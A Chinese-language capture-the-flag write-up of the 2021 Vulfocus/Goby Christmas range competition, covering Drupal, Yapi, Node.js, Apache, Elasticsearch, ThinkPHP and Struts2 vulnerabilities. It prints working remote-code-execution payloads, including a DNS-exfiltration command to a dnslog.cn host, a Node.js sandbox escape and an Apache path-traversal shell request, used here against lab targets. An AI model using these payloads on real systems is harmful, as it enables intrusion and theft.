Vulfocus 圣诞比赛 Wp
作者:Mr.hao@s1n0pec安全实验室
0x00 声明和背景
声明:
本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。
背景:
2021年圣诞节参加了Vulfocus和Goby联合举办的靶场比赛。比赛前一天下发了短信提醒,比赛持续了4小时。具体更多细节可以到vulfocus的公众号去了解。
比赛时,访问http://jc.vulfocus.fofa.so即可登陆靶场。登录后看到的界面和vulfocus.fofa.so类似,不过少了漏洞名称等。具体界面类似下图:
0x01 drupal
竞赛题目序号:vulfocus/038,vulfocus靶场: drupal 代码执行 (CVE-2018-7600)
单击“启动”,就可以启动比赛的靶场镜像。启动后的界面如下图。我们可以从“映射端口”处,看到内网的80映射到了54645,尝试访问54645端口。
访问后,我们可以从页面底部看到Powered by Drupal字样。
可以尝试百度搜索“drupalgetshell”关键词,翻看后就看到这一篇文章,https://blog.csdn.net/limb0/article/details/107122919
使用其中的代码在Burp中跑一下即可
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8088
Accept-Encoding: gzip, deflate
Accept: */*Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/x-www-form-urlencoded
Content-Length: 103 form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
比赛时,先发whoami,确定www-data的返回位置,然后使用 ls /tmp在对应位置翻查flag就可以了。
之后,我们将id换为ls%20/tmp就可以看到flag了。这个/tmp是vulfocus靶场默认的flag存放位置。
这里的Response中,因为是考试后复现,已经没有flag了。
当然,这一道题目,我们也可以直接使用Goby来扫描。扫描后,可以看到漏洞验证界面。
单击验证后,跳出如下界面:
之后在cmd处输入命令ls /tmp就可以拿到flag。
0x02 jupyter未授权
竞赛题目序号:vulfocus/052,vulfocus靶场:vulfocus/jupyter_notebook-cve_2019_9644:latest
打开后发现如下界面:
单击upload按钮右侧的New,出现如下界面:
考试时百度jupyter,主要是参考了如下文档
https://blog.csdn.net/qq_45746681/article/details/108932879
0x03 nostromo 1.9.6
竞赛题目序号:vulfocus/0077,vulfocus靶场:vulfocus/nostromo-cve_2019_16278:lates
打开靶场后看到nostromo,直接搜索“nostromo 1.9.6”
百度搜索到这一篇,https://blog.csdn.net/x650007/article/details/121487278
Exp在这里:
https://github.com/jas502n/CVE-2019-16278
下载后,带参数运行即可:
暂时没有想明白的,是为什么在靶场里,burp工具里面只能执行ifconfig,还有sed,但不能执行whoami,ls和id。而用脚本的话,所有的命令都可以执行。
另外:如果是kali里面,需要给sh赋予权限。
更多Nostromo相关的内容:
https://blog.csdn.net/qq_41832837/article/details/109247859
0x04 Yapi
考场靶场地址 vulfocus/0017,vulfocus靶场:vulfocus/yapi:latest
1、信息收集
题目界面可以看到有两个端口,分别对应Yapi和mongodb。
先访问3000端口对应的外部端口56678。
页面底部可以看到版本号
2、漏洞探测
使用Goby扫描一下,发现Yapi RCE,但是这次没有给出验证窗口。
但是点击“YAPIRCE”红色字样,依然给出了很多有用的信息。下图“参考”那里给出了一个链接。
按照步骤操作即可。
链接里面给的图片不太清楚,可以试一下这一篇:
https://cloud.tencent.com/developer/article/1851526
或者这一篇:
https://ranjuan.cn/yapi-remote-command-execute/
单击右侧的“添加项目”
单击右侧的“添加接口”
单击上图的“高级mock”,在“脚本”中添加如下字符:
const sandbox= this
const objectConstructor = this.constructor
const FunctionConstructor = objectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
单击mock预览中的“mock地址”即可看到whoami的返回结果。
把上面语句中的whoami改为 ls /tmp即可得到flag
3、注意事项
给定的代码中,如果命令中输入ifconfig会报错“解析出错,请检查”。
将命令改为whoami或者whoami && ps -ef即可执行。
经测试靶场环境id,whoami均可以正常返回。
然后执行ls /tmp即可拿到flag。
0x05 Node.js命令执行
1、信息收集
打开靶场后发现是8000的端口,尝试访问。报错。
打开nmap对端口带-sV参数进行扫描,发现有node.js
2、利用思路
百度搜索node.js getshell或者node.js RCE。
刚开始都走偏了。后来参考了网上的文档,发现在链接后跟如下地址,可以外带flag:
/api/getServices?name[]=$(ping%20`ls%20/tmp`.54qzaf.dnslog.cn[自己所申请的地址])
刚开始怎么也不成功,后来发现后面漏了个括号。比赛时,要确认有没有犯类似的低级错误。
很多时候都是端口写错、语法拼写错误等低级错误。
0x06 Apache Shiro
竞赛靶场地址:vulfocus/025,vulfocus复现靶场vulfocus/shiro-CVE-2016-4437
打开靶场后发现“Welcometo the Apache Shiro”字样。
Goby 扫描可以确认资产的确包含shiro,但是未返回有漏洞。
尝试Shiro工具的本地回显功能,可以拿到flag
具体参考这一篇:https://blog.csdn.net/qq_41901122/article/details/107107237
和这一篇https://www.jianshu.com/p/0114c350373f
0x07 Apache apache-cve_2021_42013
竞赛靶场地址:不记得了,vulfocus复现靶场:apache 远程代码执行 (CVE-2021-42013)
比赛时,打开靶场后发现
尝试Goby扫描得到组件信息。
搜索“Apache-Web-Server”,参考这一篇
https://blog.csdn.net/qq_36334464/article/details/120685518
重点参考
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
使用burp拿到flag
响应包里看到了flag
0x08 ElasticSearch
题目地址 vulfocus/057:latest;vulfocus靶场:elasticsearch 代码执行 (CVE-2015-1427)
打开靶场,看到界面如下:
版本为1.4.2的elastic search。
搜索后找到一篇合集,https://blog.csdn.net/qq_45742511/article/details/119189967
具体步骤如下:
1、先发送如下post数据包到/website/blog/
{
"name": "test"
}
2、再发送如下post数据包到_search?pretty
{"size":1,"script_fields":{"lupin":{"lang":"groovy","script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
3、再修改为id为ls /tmp,拿到flag
这道题踩到的坑是必须先发送第一个数据包,否则不会有第二个数据包的效果。
原理上我记得好像在哪里看到过,就是日志里面必须有一些内容才可以后续利用。
0x09 Apache(vulfocus/0021,CVE-2017-12615)
打开靶场,看到如下界面
应该是Apache类似的漏洞。
看到这一篇,一边看,一边同时打开Goby进行扫描。
https://www.cnblogs.com/confidant/p/15440233.html
单击“Apache Tomcat“那里的红色字体,发现如下图的界面,可以验证。
看到webshell那里有链接,复制到浏览器即可访问webshell。
0x10 Stuts2
vulfocus/0010,CVE-2013-2135
题目已知是struts2,所以尝试使用工具。
思路1:
使用vulmap 0.8版本的。对welcome.action进行扫描。
参考链接:
思路2(尚未验证):
Goby +vulmap插件,Goby内有vulmap的插件。
https://zhuanlan.zhihu.com/p/354354264
思路3(尚未验证):
Goby编写自定义规则
https://www.cnblogs.com/micr067/p/14124864.html
0x11 ThinkPhP
vulfocus/006:latest,thinkphp命令执行 (CVE-2018-1002015)
打开靶场后,尝试端口后面输入index.php,可以看到报错:
打开Goby扫描该试题端口
截图时,复现的比赛靶场关了,只好重开了靶场。输入system和ls /tmp可以拿到flag。
也可以参考这里:
https://www.cnblogs.com/nongchaoer/p/12029478.html
构造拿到flag
http://106.75.119.109:49358/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/tmp
网上应该还有其他thinkphp的成套工具。POC suite3应该也可以。
https://www.cnblogs.com/defyou/p/15762860.html
xray应该也可以。还没有来得及尝试。
0x12 drupal(cve-2018-7600)
vulfocus/0076,vulfocus/drupal-cve_2018_7600:latest
打开后如下图:
Goby扫描
和前面类似,不再重复。
0x13 Struts2
vulfocus/008:latest,struts2-046远程代码执行 (CVE-2017-5638)
最终的解法可能不一定很难,但难的是确认漏洞到底是哪一个。平时练习时,就要多思考,如果是比赛环境,我该如何确认漏洞到底是哪一个。如果没有告诉我这是哪一个漏洞,我该怎么办?
打开后,尝试上传文档。发现标题里面提示struts2,链接里面也有.action,初步判断是struts。
使用vulmap进行struts2的漏洞探测。发现s2-046
使用 --list确认是否可以利用。
使用ls /tmp即可拿到flag。
0x13 整体比赛需要注意的事项
1、关注比赛群,和其他CTF类似,官方的支持也很重要。合理利用规则,例如可以3个人组队,可以开四个环境。
2、有的靶场比较大,需要耐心等一会。比如druid这一类靶场。
3、靶场登录密码复制的时候,小心空格。
4、比赛环境如果遇到有时候提交flag总也不对,可以先尝试如下界面的“停止”,再“删除”。尝试重新拿一下环境。
0X14 总体感受
感谢家人对比赛的支持,感谢Vulfocus和goby联合举办的这次比赛。感谢白帽汇。
靶场和真实环境类似,需要平时很多的积累:比如工具,比如思路,比如见识,比如朋友(三个人打比赛和一个人打还是不一样的)。
还有编程能力,也要提升,不能只满足于会用别人的工具。
实战中还要思考,如何用最小的战术动作拿到最终结果。
s1n0pec安全实验室,致力于企业内网安全建设,涉及实战化攻防、渗透测试、CTF比赛、应急响应等多领域安全研究。
最新评论